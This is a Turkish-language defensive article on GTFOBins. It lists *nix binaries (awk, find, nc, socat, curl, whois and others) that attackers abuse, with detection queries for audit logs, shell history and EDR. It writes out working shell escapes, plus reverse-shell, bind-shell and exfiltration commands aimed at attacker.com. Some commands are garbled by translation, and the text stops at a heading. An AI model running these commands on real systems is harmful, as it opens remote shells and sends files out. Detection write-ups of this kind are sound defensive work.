GTFOBins’e Giriş
GTFOBins kavramı, *nix (Unix, Linux, OSX) sistemlerinde ayrıcalık yükseltme veya güvenlik kontrollerini atlamak için kullanılabilecek *nix uygulamalarının bir listesidir. Bu listede yasal *nix uygulamalarının kullanımı sırasında hangi kullanımların şüpheli sayılacağına ilişkin bilgiler yer almaktadır. Bu uygulama listesi ve uygulamaların kullanımı bir istismar listesi değildir.
*nix sistemlerinde listelenen uygulamaların çoğu varsayılan olarak gelir. Bu da saldırganların ele geçirilen *nix sistemi üzerinde ek bir uygulamaya ihtiyaç duymadan bu uygulamaları çeşitli faaliyetlerde (keşif, komuta merkezine bağlanma vb.) kullanma olanağına sahip olmasına neden oluyor.
GTFOBins bu uygulamaları aşağıdaki gibi çeşitli kategorilere ayırmıştır. Her kategori için başvuru örnekleri sunacağız. Komut/uygulama birden fazla kategoride etkinlik gerçekleştirebildiğinden bazı belirli uygulamalar birden fazla kategori için düşünülebilir.
- Shell
- Command
- Reverse Shell
- Bind Shell
- File Upload
- File Download
- Sudo
Ayrıca bu bağlamda yaygın uygulamaları ele alacağız ve şüpheli kullanım durumlarının nasıl tespit edileceğini ayrıntılarıyla anlatacağız. Burada bahsedilen tespit yöntemleri için (aksi belirtilmediği sürece), tespit yapılmak istenen *nix sisteminin denetim servisinin açık olması veya EDR ürününün tüm aktiviteleri kaydetmesi veya komut satırında çalışan komutların açık olması gerekmektedir. kaydedildi.
Shell
Saldırganlar ele geçirdikleri sistemlerde karşılaştıkları durumlarının sınırlı olması durumunda farklı denemelere geçmek isteyebilirler. Bu gibi durumlarda *nix sistemleri üzerindeki shell i doğrudan veya alternatif yollar bularak ele geçirdikleri sistem üzerinde daha etkileşimli erişim elde etmek için kullanırlar. Bu gibi durumların tespit edilebilmesi için aşağıda detayları verilen programların kullanılması tavsiye edilmektedir.
*nix sistemlerinde varsayılan olarak gelen bir veya daha fazla shell bulunabilir çünkü bu shellerin farklı özellikleri vardır (komut tamamlama, geçmiş tutma vb.). Aşağıda bu sheller hakkında detaylı bilgi veriyoruz. *nix sisteminde mevcut olan kabukların listesine aşağıda gösterildiği gibi “cat /etc/shells” komutunu çalıştırarak erişilebilir:
[root@master ~]# cat /etc/shells /bin/sh /bin/bash /usr/bin/sh /usr/bin/bash |
Yukarıdakilere alternatif olarak capsh, csh, dash,fish, ginsh, ksh, sash, yash, Wish, zsh gibi başka *nix shelleri de vardır. Bu shelleri yazıp enter tuşuna basarak kullanabilirsiniz.
Bunlara ek olarak aşağıdaki *nix uygulamaları da *nix shellinin farklı yöntemlerle kullanılmasına olanak sağlar:
# awk Komut
*nix sistemlerinde awk komutu dosyalarda arama, listeleme, çıktı alma gibi işlemler için kullanılır. awk komutunda, BEGIN kuralı ilk kaydı okumadan/yorumlamadan çalıştırır. Bu şekilde awk komutuyla bir kabuk oluşturulabilir.
# awk ‘BEGIN {system(“/bin/sh”)}’ |
Tespit için; awk komutuna bağlı komutun kullanım durumu izlenir ve bu komut kullanılırken komut satırındaki “BEGIN” ifadesinin durumu kontrol edilmelidir.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “awk”
[Bu komutun çıktısında varsa awk kullanımıyla aynı anda oluşan /bin/sh EXECVE denetim günlüğü aranır.]
Sistem loglarında aşağıdaki şekilde arama yapılabilir
# history |grep “awk” |grep -i “begin”
veya
# cat ~/.bash_history | grep “awk” |grep -i “begin”
– EDR/XDR günlüklerinde olaylar oluşturan “awk” işleminden aranabilir. Daha sonra komut satırında “start” parametresinin olup olmadığı kontrol edilir. |
# busybox Command
Busybox komutu *nix sistemlerinde birçok uygulamayı içerir. “Busybox /bin/sh” komutunu çalıştırarak, busybox a sh shell yükleyebilir ve komutu bu shell üzerinde çalıştırabilirsiniz.
# busybox /bin/sh |
Aşağıdaki komutu kullanarak busybox yürütülebilir komutlar listelenebilir:
# busybox –list-full bin/ash usr/bin/awk usr/bin/bzcat bin/cat bin/chgrp bin/chmod bin/chown usr/sbin/chroot bin/cp usr/bin/cut bin/date |
Tespit için; busybox komutunun kullanım durumlarında, çalışan komutun komut satırında herhangi bir shell ifadesi (örn. yukarıdaki listede yer alan shell) içerip içermediği şüpheli olarak değerlendirilmeli ve araştırılmalıdır.
-Linux loglarında araştırılabilir # cat /var/log/audit/audit.log | grep “busybox” |grep “bin/sh” – Linux sistem geçmişinde araştırılabilir # history |grep “busybox” |grep “bin/sh” or # cat ~/.bash_history | grep “busybox” |grep “bin/sh” – EDR/XDR günlüklerinde olaylar oluşturan “busybox” işleminden aranabilir. |
cpan Command
cpan komutu Perl komutlarını çalıştırmak için kullanılır. Cpan komutunu çalıştırdıktan sonra “!” yazılarak bash kabuğu açılabilir. exec ‘/bin/bash’”
# cpan cpan[1]> ! exec ‘/bin/bash’ |
-Linux loglarında araştırılabilir # cat /var/log/audit/audit.log | grep “cpan” – Linux sistem geçmişinde araştırılabilir # history |grep “cpan” or # cat ~/.bash_history | grep “cpan” – EDR/XDR günlüklerinde olaylar oluşturan “cpan” işleminden aranabilir. |
env command
env komutu sistemde değiştirilen tüm değişkenleri görüntüler . env komutuna parametre olarak bir shell path verilirse, o shell çalıştıracaktır. Env komutu aşağıdaki örnekteki gibi çalıştırıldığında /bin/sh shell aktif hale gelir ve bu shell üzerinde yeni komutlar çalıştırılır.
# env /bin/sh |
Tespit için; env komutu sık kullanılan bir komut değildir. Tek başına kullanıldığında alarmı tetikleyebilir ve bu durum araştırma gerektirir.
-Linux loglarında araştırılabilir # cat /var/log/audit/audit.log | grep “env” |grep “bin/sh” – Linux sistem geçmişinde araştırılabilir # history |grep “env” |grep “bin/sh” or # cat ~/.bash_history | grep “env” |grep “bin/sh” – EDR/XDR günlüklerinde olaylar oluşturan “env” işleminden aranabilir. |
# find command
Find komutu sistemdeki dosya/dizin aramaları için kullanılır . -exec parametresinden sonra herhangi bir shellin kullanılmasına olanak sağlayan bu komutun -exec parametresi ile farklı komutlar çalıştırılabilir.
# find . -exec /bin/sh \; -quit |
Tespit için; Find komutunun -exec parametresi ile kullanım etkinliği izlenmeli ve -exec parametresinden sonra verilen değer incelenmelidir. Şüpheli kabul edilir ve bu değerin bir shelli temsil edip etmediği araştırılmalıdır.
-Linux loglarında araştırılabilir
# cat /var/log/audit/audit.log | grep “find” |grep “exec” |grep “/bin/sh”
– Linux sistem geçmişinde araştırılabilir
# history |grep “find” |grep “exec” |grep “/bin/sh”
yada
# cat ~/.bash_history | grep “find” |grep “exec” |grep “/bin/sh”
– EDR/XDR günlüklerinde olaylar oluşturma “find” işleminden aranabilir. Daha sonra komut satırında “exec” parametresinin olup olmadığı kontrol edilir. |
# nmap komutu
Nmap komutu *nix sistemlerde bazı özel scriptler aracılığıyla port tarama ve zafiyet tespiti gibi işlemler için kullanılır. Nmap komutu ile shell açmak için önce “mktemp” komutu ile geçici bir dosya veya dizin oluşturulur, ardından nmap betiğinin fonksiyonlarından biri olan os.execute ile herhangi bir shell çalıştırılır. Bu sayede *nix sisteminde nmap ile farklı bir shell açılıp kullanılıyor.
# TF=$(mktemp)
# echo ‘os.execute(“/bin/sh”)’ > $TF
# nmap –script=$TF
Tespit için;
Nmap komutunun “–script” parametresi ile kullanım etkinliği takip edilmelidir.
Burada kullanılan script detayları mutlaka incelenmeli ve shell ifade eden bir durum söz konusu ise şüpheli kabul edilmelidir. Ayrıca nmap komutunun *nix sistemlerinde yetkisiz bir şekilde kullanılması kesinlikle şüpheli bir işlemdir.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “nmap“ | grep “script”
[Bu komutun çıktısında varsa nmap kullanımıyla aynı anda oluşan /bin/sh EXECVE denetim günlüğü aranır.]
– Linux sistemindeki geçmişten aranabilir.
# history |grep “nmap” | grep “script”
veya
# cat ~/.bash_history | grep “nmap” | grep “script”
– “nmap” işleminden aranabilir, EDR/XDR günlüklerinde olaylar oluşturur. Daha sonra komut satırında “script” parametresinin olup olmadığı kontrol edilir. |
# perl command
*nix sisteminde Perl kuruluysa perl komutuyla bir kabuk açılabilir. Aşağıdaki örnekte olduğu gibi perl komutunun “-e” parametresi ile komut çalıştırılabilir. Sistemde kurulu bir shell path komut olarak verilmesi durumunda bu shell açılabilir ve kullanılabilir.
# perl -e ‘exec “/bin/sh”;’ |
Tespit için; Perl komutu çalıştırıldığında “exec” parametresinin ardından bir kabuk bilgisi gelmesi şüpheli kabul edilir.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “perl” | grep “\-e” [Bu komutun çıktısında varsa Perl kullanımıyla aynı anda oluşan /bin/sh EXECVE denetim günlüğü aranır.] – Linux sistemindeki geçmişten aranabilir. # tarih |grep “perl” | grep “\-e” veya # cat ~/.bash_history | grep “perl” | grep “\-e” – “Perl” işleminden aranabilir, EDR/XDR günlüklerinde olaylar oluşturur. Daha sonra komut satırında “exec” parametresinin olup olmadığı kontrol edilir. |
# python command
*nix sisteminde python kuruluysa python komutuyla bir kabuk açılabilir. Komut, python komutunun “-c” parametresi ile çalıştırılabilir. Aşağıdaki örnekte olduğu gibi “import.os” ve “import.system” kütüphaneleri yüklenerek import.system kütüphanesinde “/bin/bash” kabuğu açılıp kullanılabilir.
# python -c ‘import os; os.system(“/bin/sh”)’
Tespit için; Python komutu çalıştırıldığında komut satırında “os.system” parametresi olup olmadığına bakmalıyız, varsa şüpheli olarak değerlendirilmelidir.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “python”
[Bu komutun çıktısında varsa python kullanımıyla aynı anda oluşan /bin/sh EXECVE denetim günlüğü aranır.]
– Linux sistemindeki geçmişten aranabilir.
# history | grep “python” | grep “os.system”
ya da
# cat ~/.bash_history | grep “python” | grep “os.system”
– EDR/XDR günlüklerinde olaylar oluşturan “python” işleminden aranabilir. Daha sonra komut satırında “os.system” parametresinin olup olmadığı kontrol edilir. |
# vi/vim command
*nix sistemlerinde dosya oluşturmak ve düzenlemek için vi veya vim komutları kullanılır. Kısaca dosya editörü diyebiliriz. Ancak vi/vim uygulamalarında pek çok özellik içerir. Bunlardan biri “-c” parametresi ile komut çalıştırmaktır. Aşağıdaki örnekte görebileceğiniz gibi /bin/sh komutu -c parametresi ile çalıştırıldığında sh kabuğu açılıp kullanılmaktadır.
# vim -c ‘:!/bin/sh’ |
Tespit için; Vi/vim çalıştırıldığında “-c” parametresinin ardından bir kabuk bilgisi geliyorsa bu etkinlik şüpheli kabul edilir.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | egrep “vi|vim” |grep “\-c” |
– Linux sistemindeki geçmişten aranabilir
# history |grep “perl” | egrep “vi|vim” | grep “\-c”
# cat ~/.bash_history | egrep “vi|vim” | grep “\-c”
– EDR/XDR günlüklerinde olaylar oluşturan “vi” veya “vim” işleminden aranabilir. Daha sonra komut satırında “-c” parametresinin olup olmadığı kontrol edilir. |
Command / Komut
*nix sistemlerinde terminal kullanıldığında bir kabuk iletilir. Bu kabuğun görevi verilen komutları yorumlamak veya analiz ederek bu komutların çekirdek tarafından anlaşılmasını sağlamaktır. Özetle shell, kullanıcı ile işletim sisteminin çekirdeği arasındaki iletişimi sağlayan aracıdır.
Shell çalıştırılan komutlar/uygulamalar 2 farklı şekilde çalıştırılabilir: Etkileşimli ve Etkileşimsiz.
1- Interactive Shell / Etkileşimli
Kullanıcıdan gelen komutları girdi olarak alan ve komutları yürüttükten sonra çıktıyı kullanıcıya görüntüleyen bir shell formudur.
2- Non-Interactive Shell / Etkileşimsiz
Adından da anlaşılacağı gibi kullanıcıdan doğrudan girdi almayan bir shell türüdür. Bir komut dosyasından veya farklı bir uygulamadan çalıştırılan komutlar etkileşimli olmadan çalışır.
Örneğin;
Aşağıdaki komut, içinde bulunduğunuz shell in etkileşimli ve etkileşimli olmayan bir shell olup olmadığını gösterir.
[root@master ~]# [[ $- == *i* ]] && echo ‘Interactive’ || echo ‘not-interactive’ |
– Komut doğrudan kabukta çalıştırıldığında çıktısını “Etkileşimli” olarak görebilirsiniz.
[root@master ~]# [[ $- == *i* ]] && echo ‘Interactive’ || echo ‘not-interactive’ ‘Interactive’ |
– Komut bir kabuk betiğinde çalıştırıldığında çıktının “etkileşimli olmadığını” görebilirsiniz.
[root@master ~]# cat check.sh #!/bin/bash [[ $- == *i* ]] && echo ‘Interactive’ || echo ‘not-interactive’ [root@master ~]# ./check.sh ‘not-interactive’ |
# at command
*nix sistemlerindeki at komutu, zamanlanmış bir işin ileri bir tarihte gerçekleştirilmesini sağlar. Saldırganlar ele geçirdikleri sistemler üzerinde etkileşimli olmayan komutları çalıştırmak için de “at” komutunu kullanabilirler.
Aşağıdaki örnekte görebileceğiniz gibi öncelikle COMMAND değişkeni tanımlanır. Bu tanım içeriği “/tmp/test.txt” dosyasını oluşturur ve içeriğine “test”i ekler. Tanımlanan değerin direkt olarak “at now” komutu ile çalıştırılması sağlanır. İstenilen işlemin başarısı test.txt dosya içeriğinde yer alan “test” ifadesi ile doğrulanır.
# COMMAND=’echo “test” > /tmp/test.txt’ # echo $COMMAND | at now job 18 at Sat Sep 24 19:17:00 2022 # cat /tmp/test.txt test |
Tespit için; “at” komutu *nix sistemlerinde sık kullanılan bir komut değildir. Kullanımının tespit edilmesi durumunda doğrudan araştırılmalıdır.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “at”
– Linux sistemindeki geçmişten aranabilir.
# history |grep “at”
ya da
# cat ~/.bash_history | grep “at”
– EDR/XDR günlüklerinde olaylar oluşturan “at” işleminden aranabilir. |
# crontab komutu
Crontab komutu zamanlanmış görevleri yönetmeye izin verir . Tanımlanan görevler, etkileşimli olmayan ve çalıştırılacak bir süreç olan belirtilen zaman veya zaman diliminde yürütülür. Crontab komutunun “-e” parametresi, zamanlanmış görevlerin (ekleme, silme vb.) düzenlenmesine olanak sağlayan parametredir.
# crontab -e |
Tespit için; Kullanım etkinliği crontab komutunun “-e” parametresi ile izlenmelidir. Ayrıca /etc/cron* dosya dizinlerindeki değişiklikler takip edilmeli, herhangi bir değişiklik olması durumunda alarm oluşturularak olay araştırılmalıdır.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “crontab” | grep “\-e”
– Linux sistemindeki geçmişten aranabilir.
# history |grep “crontab” | grep “\-e”
ya da
# cat ~/.bash_history | grep “crontab” | grep “\-e”
– EDR/XDR günlüklerindeki “crontab” “işlem oluşturma olaylarından” aranabilir. Daha sonra komut satırında herhangi bir “-e” parametresinin olup olmadığına bakılmalıdır. |
# nohup command
Nohup komutu genellikle arka planda devam etmesi uzun sürmesi gereken işlemler için kullanılır . Aşağıdaki örnekte “id” komutunun COMMAND değişkenine atandığını görebilirsiniz. Nohup ile çalıştır komutunun çıktısı nohup.out dosyasına yazılır ve bu dosyanın içeriğini görüntülediğinizde “id” komutu çalıştırılır ve bu komutun çıktısı dahil edilir.
# COMMAND=’/usr/bin/id’ # nohup “$COMMAND” # cat nohup.out uid=0(root) gid=0(root) groups=0(root) |
Tespit için; Nohup komutu sistem yöneticileri dışında yaygın olarak kullanılan bir komut değildir. Bu komutun izinsiz kullanıldığının tespiti oldukça şüphelidir ve araştırılmalıdır.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “nohup” – Linux sistemindeki geçmişten aranabilir. # history |grep “nohup” ya da # cat ~/.bash_history | grep “nohup” – EDR/XDR günlüklerinde olaylar oluşturan “nohup” işleminden aranabilir. |
# split command
Split komutu , *nix sistemlerinde dosyaları bölmek (yani 500 satırı satır satır bölmek) için kullanılır. Split komutunun “–filter” parametresi kabuk komutlarının çalıştırılmasına izin verir. Aşağıdaki örnekte “–filter” parametresine “id” komutunun verildiğini ve bu değerin echo ile ekrana yazdırıldığını görebilirsiniz.
echo |split –filter=kimlik |
Tespit için; Split komutunun “–filter” parametresi ile kullanımı takip edilmelidir.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “split” |grep “filter” |
– Linux sisteminde geçmişte arama yapılabilir.
# history |grep “split” |grep “filter”
yada
# cat ~/.bash_history | grep “split” |grep “filter”
– “split” işleminde aranabilir, EDR/XDR günlüklerinde olaylar oluşturur. Daha sonra komut satırında “filtre” parametresinin olup olmadığına bakılmalıdır. |
Reverse Shell
Reverse shell, hedef sistemin ana sistemle (komut merkezi) geri iletişim kurduğu bir shell türüdür. Ana sistemin bağlantı kurmak için dinlediği port üzerinden hedef sisteme gönderdiği komutlar hedef sistem üzerinde yürütülür. *nix sistemlerinde bazı uygulamalar reverse shell oluşturulmasına izin verir. Bu uygulamalar saldırganlara ele geçirilen sistemin uzaktan yönetilmesinde kolaylık sağlar. Bu nedenle bu konu altında bu uygulamaların nasıl kullanıldığına, hangi durumlarda şüpheli kabul edildiğine ve nasıl tespit edileceğine değineceğiz.
Aşağıdaki örnekleri test etmek için ana sistem (komuta merkezi) üzerinde gelen bağlantıları kabul etmek üzere aşağıdaki komutu çalıştırın. nc (netcat) komutu -l (listen) -p (port) parametresi ve -p parametresinden sonra port (12345) üzerinde dinlemeye başlar ve bu porta gelen istekleri kabul eder.
# nc -l -p 12345 |
# bash komutu
bash , *nix terminalinde bash kabuğunu açmanıza ve bash kabuğuna geçmenize olanak sağlayan komuttur. Bu komut aynı zamanda -c parametresi ile farklı komutları çalıştırmak için de kullanılabilir. -i parametresi kabuğu etkileşimli hale getirir.
# export RHOST=attacker.com # export RPORT=12345 # bash -c ‘exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1’ |
Tespit için; Bash komutu çalıştırıldığında /dev/tcp veya /dev/udp ifadelerinin komut satırındaki kullanım durumu izlenir.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “bash” | egrep “udp|tcp”
– Linux sistemindeki geçmişten aranabilir.
# history |grep “bash” | egrep “udp|tcp”
yada
# cat ~/.bash_history | grep “bash” | egrep “udp|tcp”
– EDR/XDR günlüklerindeki “bash”, işlem oluşturma veya ağ bağlantısı olaylarından aranabilir. Daha sonra komut satırında “udp” veya “tcp” parametresinin olup olmadığı kontrol edilir.
#nc komutu
Nc (netcat) uygulaması, tcp veya udp protokollerini kullanarak ağ üzerinden veri okuyan ve yazan basit bir *nix uygulamasıdır. nc uygulaması ters kabuk veya bağlama kabuğu gibi aktivitelerde kullanılabilir. -e parametresi “exec” anlamına gelir ve /bin/sh veya /bin/bash gibi tanımlı porttan gelen verileri tanımlanan kabuğa iletir. Aşağıdaki örnekte olduğu gibi, gelen istekler /bin/sh dizinine yönlendirildiği için komuta merkezinden iletilen komutlar /bin/sh tarafından çalıştırılmaktadır.
# RHOST=attacker.com # RPORT=12345 # nc -e /bin/sh $RHOST $RPORT |
Yukarıdaki komutlar çalıştırıldıktan sonra hedef sisteme (komuta merkezine) erişim sağlanır. Hedef sistemden iletilen bilgiler /bin/sh’ye iletilir ve /bin/sh tarafından yürütülür.
# nc -l -p 12345
id (After connecting with the command above, the “id” command was run.)
uid=0(root) gid=0(root) groups=0(root)
Tespit için; Bilinen işlemler dışında nc komutunun tüm kullanımları inceleme gerektirir. Bu nedenle, komutun yürütülmesi bilinen bir etkinlik değilse şüpheli olarak kabul edilir. Özellikle -e ve -l parametresinin kullanımı sorgulanabilir.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “nc” | grep “\-e”
– Linux sistemindeki geçmişten aranabilir.
# history |grep “nc” | grep “\-e”
yada
# cat ~/.bash_history | grep “nc” | grep “\-e”
– EDR/XDR günlüklerindeki “nc” işlem oluşturma veya ağ bağlantısı olaylarından aranabilir. Daha sonra komut satırından “-e” parametresinin kullanım durumu kontrol edilir. |
# socat command
socat, netcat (nc) komutuna alternatif olarak düşünülebilir. Hedef sisteme tcp veya udp protokolü üzerinden erişim sağlar. “exec” parametresi ile gelen bilgilerin çalıştırılmasını sağlar. Bu bilgiyi bir *nix kabuğuna göndererek uzaktan komut yürütme gerçekleştirilebilir.
# RHOST=attacker.com
# RPORT=12345
# socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane
Tespit için; socat komutunun bilinen işlemler dışındaki tüm kullanımları araştırma gerektirir. Ayrıca komutun “exec” parametresi ve tcp-connect parametresi şüpheli kabul edilir ve araştırılmalıdır.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “socat” | grep -i “exec”
– Linux sistemindeki geçmişten aranabilir.
# history |grep “socat” | grep -i “exec”
yada
# cat ~/.bash_history | grep “socat” | grep -i “exec”
– EDR/XDR günlüklerindeki “socat” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. Daha sonra komut satırında “exec” parametresinin olup olmadığı kontrol edilmelidir. |
Bind Shell
Bind Shell, bu sistemde açılan bir bağlantı noktası aracılığıyla ana sistem (komuta merkezi) üzerinden hedef (ele geçirilen) sisteme doğrudan bağlanan bir shell türüdür. Ana sistemden gönderilen komut/paket vb. aracılığıyla hedef sistemdeki portu dinleyen bir uygulama tarafından çalıştırılır.
Aşağıdaki örnekleri test etmek amacıyla ana bilgisayardan (komut merkezi) hedef sistemdeki dinleme portuna erişim sağlamak için aşağıdaki netcat komutu kullanılabilir.
# nc target.com 12345 |
#nc komutu
Nc (netcat) uygulaması, tcp veya udp protokollerini kullanarak ağ üzerinden veri okuyan ve yazan basit bir *nix uygulamasıdır. nc uygulaması reverse shell veya bind shell gibi aktivitelerde kullanılabilir. -e parametresi exec anlamına gelir ve /bin/sh veya /bin/bash gibi tanımlı porttan gelen verileri tanımlanan shell e iletir. -l parametresi dinlemeye, -p parametresi ise dinleme moduna alınacak portun belirlenmesine yarar. Aşağıdaki örnekte, belirtilen bağlantı noktasını dinleyen netcat, gelen paketleri /bin/sh’ye iletir.
# LPORT=12345 # nc -l -p $LPORT -e /bin/sh |
Yukarıdaki komutlar hedef sistem üzerinde çalıştırıldıktan sonra ana sisteme (komut merkezine) erişim sağlanmakta ve kabuk komutları doğrudan hedef sistem üzerinde çalıştırılabilmektedir.
# nc target.com 12345 id (Yukarıdaki komutla bağlantı kurulduktan sonra “id” komutu denendi.) uid=0(root) gid=0(root)groups=0(root) |
Tespit için; Bilinen işlemler dışında nc komutunun tüm kullanımları daha fazla araştırma gerektirir. Bu nedenle, komutun yürütülmesi bilinen bir etkinlik değilse şüpheli olarak kabul edilir. Ayrıca, özellikle -e ve -l parametrelerinin kullanımları sorgulanabilir.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “nc” | egrep “l|e” – Linux sistemindeki geçmişten aranabilir. # history | grep “nc” | egrep “l|e” veya # cat ~/.bash_history | grep “nc” | egrep “l|e” – EDR/XDR günlüklerindeki “nc” işlem oluşturma veya ağ bağlantısı olaylarında aranabilir. Daha sonra komut satırında “-e” veya “-l” parametresinin olup olmadığı kontrol edilir. |
# node command
node (nodejs), javascript uygulamalarının sunucu tarafında çalıştırılmasına olanak sağlayan bir uygulamadır. Aşağıdaki örnekte de belirtildiği gibi nodejs ile yazılabilen küçük port dinleme scripti ile bir bind shell (küçük değişikliklerle reverse shell) hazırlanabilir.
# export LPORT=12345 # node -e ‘sh = require(“child_process”).spawn(“/bin/sh”); require(“net”).createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);}).listen(process.env. LPORT)’ |
Tespit için; Nodejs çoğu *nix sisteminde varsayılan olarak kurulmaz. Uygulamanın kurulumu veya doğrudan kullanımı izlenmeli ve araştırılmalıdır. Dinleme fonksiyonu veya “-e” (eval) parametresinin kullanımı da izlenmelidir.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “node” | grep “\-e” – Linux sistemindeki geçmişten aranabilir. # history |grep “node” | grep “\-e” veya # cat ~/.bash_history | grep “node” | grep “\-e” – EDR/XDR günlüklerindeki “düğüm” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. Daha sonra komut satırında “-e” parametresinin olup olmadığı kontrol edilir. |
# socat command
socat komutu netcat (nc) komutuna alternatif olarak düşünülebilir. Hedef sisteme tcp veya udp protokolü üzerinden erişim sağlar. “EXEC” parametresi ile gelen bilgilerin çalıştırılmasını sağlar. Bu bilginin bir *nix kabuğuna gönderilmesiyle uzaktan komut yürütme gerçekleştirilebilir.
# LPORT=12345 # socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane |
Tespit için; socat komutunun bilinen işlemler dışındaki tüm kullanımları araştırma gerektirir. Ayrıca komutun “EXEC” parametresi ve tcp-connect parametresi şüpheli kabul edilmeli ve daha fazla araştırılmalıdır.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “socat” | grep -i “EXEC”
– Linux sistemindeki geçmişten arama yapılabilir.
# history |grep “socat” | grep -i “EXEC”
veya
# cat ~/.bash_history | grep “socat” | grep -i “EXEC”
– EDR/XDR günlüklerindeki “socat” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. Daha sonra komut satırında “EXEC” parametresinin olup olmadığı kontrol edilir. |
File Upload
Saldırganlar sıklıkla hassas bilgileri sızdırır ve ele geçirdikleri sistemlerden veri kaçırırlar. Bu gibi durumlarda *nix sistemlerinde kullanabilecekleri bazı uygulamaların kullanımına değineceğiz.
Not: Aşağıdaki komutların tamamı “Dosya İndirme” işlemlerinde de kullanılabilir.
# curl command
Curl komutu, *nix sistemlerinde hedeften veri çekmek veya yüklemek için kullanılan bir uygulamadır . HTTP, HTTPS, FTP, SCP vb. birçok farklı protokolü destekler. Aşağıdaki komutta olduğu gibi -X parametresi yöntemi (GET, POST, PUT, DELETE vb.), -d parametresi ise yöntemi belirler ve belirtir. uzak konuma aktarılacak veriler.
# URL=http://attacker.com/ # LFILE=gönderilecek_dosya # curl -X POST -d @$dosya_to_send $URL |
Tespit için; Curl uygulamasının kullanımına ilişkin “-X POST” ve “-d” gibi parametreler takip edilmelidir. Ayrıca dosyanın aktarıldığı hedefin (IP/domain) bilinen bir hedef olup olmadığı da sorgulanmalıdır.
– Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “curl” |grep “X” – Linux sistemindeki geçmişten aranabilir. # history| grep “curl” | grep “X” veya # cat ~/.bash_history | grep “curl” |grep “X” – EDR/XDR günlüklerindeki “curl” işlemi oluşturma veya ağ bağlantısı olaylarında aranabilir. Daha sonra komut satırında “X” veya “POST” gibi komutlar aranır. |
#ftp command
ftp bir dosya aktarım protokolüdür ve dosya indirme veya yükleme gibi işlemleri gerçekleştirir. Saldırganlar, ele geçirdikleri sistemlere kötü amaçlı uygulamalar indirmek veya hassas verileri uzak bir konuma aktarmak için ftp uygulamalarını kullanabilirler.
# RHOST=attacker.com # ftp $RHOST # put file_to_send |
Tespit için; Ftp komutunun doğrudan çalıştırılması, ftp komutunun genellikle bazı operasyonel işlemler için kullanılması nedeniyle çok fazla hatalı pozitif sonuç üretebilir. Bu nedenle dosyanın aktarıldığı hedefin (IP/domain) bilinen bir hedef olup olmadığı sorgulanmalıdır.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “ftp”
– Linux sistemindeki geçmişten aranabilir.
# history | grep “ftp”
veya
# cat ~/.bash_history | grep “ftp”
– EDR/XDR günlüklerindeki “ftp” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir.
# scp command
scp “Secure Copy” anlamına gelir ve sistemler arasında dosya aktarımına yönelik bir uygulamadır. Dosya aktarımı için SSH (Secure Shell) protokolünü kullanır. Aşağıda belirtildiği gibi önce gönderilecek dosya belirtilir, ardından hedef sistem ve dosyanın hedef sisteme yükleneceği dizin belirtilir.
# RPATH=user@attacker.com:~/file_to_save # LPATH=file_to_send # scp $LFILE $RPATH # scp test_file root@target_system:/root/ |
Tespit için; Scp komutu genellikle bazı operasyonel işlemler için kullanıldığından, scp komutunun doğrudan çalıştırılması çok fazla hatalı pozitif sonuç üretebilir. Ağ içerisindeki Scp kullanımı yakından takip edilmeli, bilinen kullanım durumları dışındaki kullanım tespitleri daha detaylı araştırılmalıdır. Ayrıca dosyanın aktarıldığı hedefin (IP/domain) bilinen bir hedef olup olmadığı da sorgulanmalıdır.
Linux denetim günlüklerinde aranabilir. # cat /var/log/audit/audit.log | grep “scp” – Linux sistemindeki geçmişten aranabilir. # history | grep “scp” veya # cat ~/.bash_history | grep “scp” – EDR/XDR günlüklerindeki “scp” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. |
# whois command
whois, IP Adresi veya Alan Adına ait bilgilerin (kayıt tarihi, e-posta adresi, kime ait olduğu) sorgulamasını gerçekleştiren uygulamadır. Whois uygulamasından dosya aktarım işlemleri için de yararlanılabilmektedir. Whois komutunda erişilecek host adresi -h parametresi ile, hedef port bilgisi ise -p parametresi ile belirtilir. Daha sonra 2. komut olarak çalıştırılan “cat $LFILE” ile tanımlanan “file_to_send” dosyasının içeriği hedef hosta iletilir.
# RHOST=attacker.com # RPORT=12345# LFILE=file_to_send # whois -h $RHOST -p $RPORT “`cat $LFILE`” |
Tespit için; Whois komutunun -h veya -host parametresi ile kullanım durumu yakından takip edilmelidir. Ayrıca dosyanın aktarıldığı hedefin (IP/domain) bilinen bir hedef olup olmadığı da sorgulanmalıdır.
– Linux denetim günlüklerinde aranabilir.
# cat /var/log/audit/audit.log | grep “whois” | grep “h”
– Linux sistemindeki geçmişten aranabilir.
# history | grep “whois” | grep “h”
veya
# cat ~/.bash_history | grep “whois” | grep “h”
– EDR/XDR loglarındaki “whois” işlemi oluşturma veya ağ bağlantısı olaylarından aranabilir. Daha sonra komut satırından “-h” parametresi kontrol edilir. |
# tar command
